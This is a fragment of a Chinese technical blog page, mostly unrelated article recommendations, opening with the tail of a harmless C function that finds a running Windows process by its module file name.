					if(pEnumProcessModules(hProc,&hMod,sizeof(HMODULE),&msize))

						if(pGetModuleFileNameEx(hProc,hMod,Path,MAX_PATH))

							if(OnlyCompareFileName) {

								if(lstrcmpi(Path+lstrlen(Path)-lstrlen(ProcessToFind),ProcessToFind) == 0)

									return hProc;

							} else {

								if(lstrcmpi(Path,ProcessToFind) == 0)

									return hProc;

							}

					CloseHandle(hProc);

				}

	}

	return NULL;

}





蠕虫病毒专杀 蠕虫病毒是一般的杀毒软件无法杀干净的,通常只有做系统才可以完全清理干净,使用这个病毒专杀工具就可让你省时省心。 立即下载

相关推荐

windows socket 泄漏相关补丁包.zip

# 使用说明 三个补丁具体使用方式见下文,选择一个安装即可。 ## 问题描述 当Windows2008R2系统运行时间超过497天,TCP/IP的网络资源(端口)就不会再自动释放,在运行一段时间后,本机的网络资源就会被全部用光。这样就会造成系统中任何需要网络资源的组件都无法正常工作,例如DNS,replication等。 故障现象如: 1. 同域控通信异常,表现为使用域用户登陆报‘同域控失去联系 2. 共享文件夹,外部ip用户无法访问 3. 域名解析失败 4. 如果该windows2008为桌面云关键组件如域控、controller、viewconnection,则将导致整个桌面云平台异常,用户登陆失败等问题。 ## 处理过程 1. 确认是否是该问题 - Windows事件日志中查看6013事件,计算当前操作系统运行时间是否超过497天 - Windows事件日志中重复报5719事件:RPC服务器不可用 2. 对运行时间超过497天的局点,先重启windows2008R2系统,恢复业务 3. 打上系统补丁,彻底解决此问题 - KB976932: 微软提供的hotfix补丁,目前官网已经下线,下载不到了 - KB2577795: 另一个可能导致该问题的补丁,解决系统socket泄露的问题 - KB976932: windows server 2008R2 的SP1更新包,涵盖了上述两个补丁,比较大,可在官网下载:https://www.microsoft.com/zh-CN/download/details.aspx?id=5842

【网络安全】Xred蠕虫再分析及修复工具编写

蠕虫病毒很老了,已经有很多前辈分析过该病毒,跟着前辈们的思路深入分析一下,并编写一个清理工具。这是我分析的第一个真实环境下的恶意样本,文中如果有不正确的地方请指正。

HBohan的博客 6219

windows 2008 R2解决socket连接不释放补丁包

Windows Server 2008 R2系统BUG导致windows缓冲区已满(no buffer space),Windows核心套接字泄露问题导致操作系统套接字资源被耗尽,导致服务器与数据库无法正常对接。

【亲测免费】 最新蠕虫病毒专杀工具

最新蠕虫病毒专杀工具 【下载地址】最新蠕虫病毒专杀工具 最新蠕虫病毒专杀工具专为高效清除蠕虫病毒而设计。蠕虫病毒以其自我复制和快速传播的特性,对计算机系统构成严重威胁,传统杀毒软件往往难以彻底根除。本工具针对蠕虫病毒的特殊机制,提供高效清除方案,避免重装系统的繁琐步骤,节省宝贵时间。在清除病毒的同时,确保您的资料安全,无...

gitblog_06783的博客 624

windows解决socket连接不释放补丁包

kb2577795,kb2553549 windows 2008 r2 补丁 解决No buffer space available 早期版本漏洞

从0到1做AI漫剧:即梦+豆包+剪映+红果全流程实战

AI视频生成正在重塑内容创作的生产方式,它让原本高门槛的影视制作,变成了一条由文本、画面、剪辑与分发环节协同的流水线。理解其底层原理,在于将大模型的语义理解、图像生成与视频合成能力,与工程化的流程管理相结合,从而实现从创意到成片的自动化输出。这种技术的价值,不仅体现在降低制作成本,更在于让个人创作者能够独立完成高质量短剧,并快速迭代内容。在短剧、短视频、广告营销等场景中,利用即梦生成画面、豆包编写剧本、剪映完成剪辑、红果进行分发的组合,已成为一种被广泛验证的实践路径。本文聚焦AI漫剧制作,从环境准备、分镜设

weixin_34072637的博客 382

【亲测免费】 蠕虫病毒专杀工具介绍

蠕虫病毒专杀工具介绍 【下载地址】蠕虫病毒专杀工具介绍 面对蠕虫病毒难以彻底清除的难题,传统方法往往费时费力。本开源项目提供了一款专为蠕虫病毒设计的深度清理工具,有效弥补了常规杀毒软件的不足。通过使用这款工具,您可以高效清除蠕虫病毒,避免重做系统的麻烦,节省大量时间与精力。无论是个人用户还是企业,都能轻松应对蠕虫病毒带来...

gitblog_06769的博客 522

Unity2D像素刀光实现:粒子方向控制与像素级渲染规范

像素风游戏中的刀光特效并非普通粒子动画,而是需严格遵循像素艺术原理的视觉暂留模拟。其核心在于将‘瞬时切割感’转化为程序可执行的渲染逻辑:通过禁用纹理滤波保障1:1像素锐度,绑定刀锋向量控制粒子运动方向,限定≤0.15秒生命周期匹配人眼暂留阈值,并采用Stretched Billboard实现动态拉伸拖影。该方案兼顾美术语义(如直劈、横扫、突刺)与工程约束(Sorting Layer分层、对象池复用、单粒子GPU优化),广泛适用于Unity2D平台的动作反馈系统,尤其适配《空洞骑士》《死亡细胞》类高节奏像素R

weixin_32390647的博客 283

SHA-2代码签名补丁下载地址(win7 补丁下载安装)

SHA-2代码签名补丁下载地址(win7 补丁下载安装)

默默提升实验室 2万+

上、下拉电阻(定义、强弱上拉、常见作用、吸电流、拉电流、灌电流)

1.上、下拉电阻定义 上拉电阻是把一个信号通过一个电阻接到电源(Vcc),下拉电阻是一个信号通过一个电阻接到地(GND)。 2.强上拉、弱上拉 强上拉、弱上拉的强弱只是上拉电阻的阻值不同,没有什么严格区分。例如:50Ω上拉,一般成为强上拉;100kΩ上拉则称为弱上拉。下拉也是一样的。强拉电阻的极端就是0Ω电阻,即将信号线直接与电源或低相连接。 3.上、下拉电阻的作用 因为上下拉电阻的作用概念很宽泛,不用领域的使用方法也不同,常见使用方法整理如下: ...

小浪宝宝的博客 3万+

企业级大数据平台的数据网格(Data Mesh)转型之路

随着企业数字化转型的深入,传统大数据平台面临数据孤岛化、治理成本高、业务响应慢等核心痛点。数据网格作为一种新兴的分布式数据管理架构,通过领域驱动设计(DDD)、数据产品化和联邦治理模式,为企业提供了打破数据壁垒、提升数据生产力的全新路径。本文聚焦企业级数据平台从传统架构(数据湖/数据仓库)向数据网格转型的关键技术、实施步骤和组织配套,涵盖技术架构设计、核心算法实现、项目实战案例及工具链推荐。背景介绍:定义转型目标、术语体系与核心挑战核心概念与联系:解析数据网格四大支柱及技术架构图谱核心算法原理。

AI 领航者的博客 1084

微软Win10最新补丁KB5017380更新了什么?

新版本修复了cldflt.sys的问题,还解决了explorer.exe停止工作的情况,并且还引入了WebAuthn重定向。我们修复了影响安全密钥和 Fast Identity Online 2.0 (FIDO2) 身份验证的缓存凭据的问题。我们修复了影响 Windows Defender 应用程序控制 (WDAC) 路径规则的问题。我们修复了影响 Javascript 生成的 URL 的问题:URL。我们修复了影响 Windows Defender 应用程序控制 (WDAC) 的问题。

xitongzhijianet的博客 5005

【EMC专题】为什么芯片规格书ESD性能中看不到MM(机器放电模型)

器件级ESD包括三种类型,HBM人体放电模型、MM机械放电模型和CDM元件充电模型。但在芯片规格书中为什么只见到HBM模型与CDM模型,却没有看到MM模型的数据?

一点硬件 450

360更新补丁一直提示正在安装_微软确认Windows 10所有版本在安装最新6月累积更新补丁后都会破坏打印机功能...

首先先给大家说一个重要的事情,鹰王系统站和MSDN系统网站将于近期进行网站ICP备案,备案期间是不允许打开的,大概7-15天即可完成备案,如果近期你发现网站无法访问打不开,说明是在备案期间,备案通过后即可正常打开访问。如果你急需下载系统使用,也可暂时访问另一个鹰王系统备用网站www.xtdsgho.com,MSDN原版系统备用网站www.msdnwogaosuni.com,如有疑问联系Q...

weixin_39709979的博客 525

YOLO格式数据集划分

YOLO格式的数据集划分 标题标签格式txt import os import cv2 import random from PIL import Image # os.makedirs('labels_train') # os.makedirs('labels_val') img_train_path ='./img_train/' #图片训练集保存路径 img_val_path = './img_val/' #图片验证集保存路径 labels_train_path = './labels_t

weixin_51154380的博客 3308

[个人自用,全网最优]EDEM-FLUENT个人自学教程,拒绝手忙脚乱无用功!

[个人自用,全网最优]EDEM-FLUENT个人自学教程,拒绝手忙脚乱无用功!

zheaa的博客 4828

微软贡献 Linux 内核代码,可运行多个 Windows

出品 | OSC开源社区(ID:oschina2013)近日微软为了扩展内核支持,为 Linux 内核提供了一系列的补丁,其中一个值得注意的地方是微软为 Linux 带来了运行嵌套监控程序(Hyper-V)或嵌套虚拟化的功能。这组补丁是由微软的 Linux 高级工程师 Jinank Jain 在本周三发出的,补丁说明如下:该系列补丁计划增加对运行嵌套式微软 Hypervisor(虚拟机监控程序) ...

程序猿DD 275

数字滤波器应用介绍

线性滤波器FIR ,会引起恒定延迟,通过补零的方式补偿非线性滤波器IIR,会引起频率相关的延迟,通过零相位延迟filtfilt补偿从信号中去除不需要的频谱时,通过滤波和补偿实现。如果需要去除的频率与采样率相差甚远,比如4kHz 与100Hz, 可通过 低通滤波->补偿->降采样–> 滤波 补偿 -->上采样还原的方法。*降采样前一定要先低通滤波为了防止混叠。

weixin_39107270的博客 274

收藏!小白程序员必看:如何应对网络安全补丁的洪流?

随着漏洞数量逐年激增,AI技术加速发现代码缺陷,网络安全运维面临巨大挑战。本文从实战角度出发,分享如何通过分层处理补丁、退役老旧资产等策略,平衡安全与风险。本文约1948字,阅读需4分钟本月漏洞补丁的消缺计划表发下来,计划多的我盯着看了半天没说话。以前这种表一个月一行,写"已消缺"就完事。现在一行写不下,得按系统拆成七八行,每行后面还得标清楚:这台能不能重启、业务影响不影响、有没有新设备没打过。往年一次网络安全专项检查,通知下来的时候离检查组进场只剩两周。

2401_84578953的博客 184

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

【2025版】最新微软最新多个高危漏洞预警,收藏这篇就够了!

2月11日微软发布了修复总共 141 个漏洞的补丁,4 个被归类为关键级。其中有 2 个漏洞正在被在野利用,强调了立即更新的紧迫性。此外,1 个漏洞在此次补丁周期之前就已经被公开,这标志着它是一个0day漏洞。强烈建议用户优先更新这些补丁,以保护他们的系统免受潜在威胁。Windows Ancillary Function Driver for WinSock 提权漏洞 (CVE-2025-21418)此漏洞被识别为 CVE-2025-21418,严重程度评分为重要,CVSS 评分为 7.8。

Button12138的博客 1418

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

【2025版】最新微软最新多个高危漏洞预警,从零基础到精通,收藏这篇就够了!

2月11日微软发布了修复总共 141 个漏洞的补丁,4 个被归类为关键级。其中有 2 个漏洞正在被在野利用,强调了立即更新的紧迫性。此外,1 个漏洞在此次补丁周期之前就已经被公开,这标志着它是一个0day漏洞。强烈建议用户优先更新这些补丁,以保护他们的系统免受潜在威胁。Windows Ancillary Function Driver for WinSock 提权漏洞 (CVE-2025-21418)此漏洞被识别为 CVE-2025-21418,严重程度评分为重要,CVSS 评分为 7.8。

Python_0011的博客 2573

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

Windows 零日漏洞遭利用:CVE-2024-49138 PoC 代码发布,从零基础到精通,收藏这篇就够了!

更为紧迫的是,安全研究员 MrAle_98在 GitHub 上发布了针对 CVE-2024-49138 的概念验证 (PoC) 漏洞。根据微软的公告,此漏洞影响了广泛的 Windows 系统。虽然关于该漏洞的具体细节很少,但微软证实,在补丁发布之前,该漏洞已被广泛利用。尽管微软尚未披露利用 CVE-2024-49138 的攻击的具体细节,但一家领先安全公司的参与表明,详细的利用报告可能会很快发布。这也是耗费了大白近四个月的时间,吐血整理,文章非常非常长,觉得有用的话,希望粉丝朋友帮忙点个**「分享」

Python_0011的博客 1878

MICROSOFT REPORT VIEWER 2012之无法加载相关的dll

MICROSOFT REPORT VIEWER 2012之无法加载相关的dll 使用VS 2012开发报表, 如果是使用的微软的报表控件的话,默认是使用的MICROSOFT REPORT VIEWER 2012,本地开发基本上没问题,但是一发布服务器,就会发现坑了,微软挖坑从来就不打招呼,坑你没商量。 之前使用Report Viewer,只要看到...

magicodes 229

Microsoft 补丁,文档下载

Microsoft 补丁,文档下载 1. Visual studio 6.0 sp5 http://download.microsoft.com/download/vstudio60ent/SP5/Wideband-Full/WIN98Me/EN-US/vs6sp5.exe sp6英文版地址: http://download.micr...

weixin_30780649的博客 140
上一篇: 实现生成木马的自动变异
下一篇: U盘小病毒源代码收藏
大浪淘沙1
博客等级 码龄19年 42粉丝 38原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值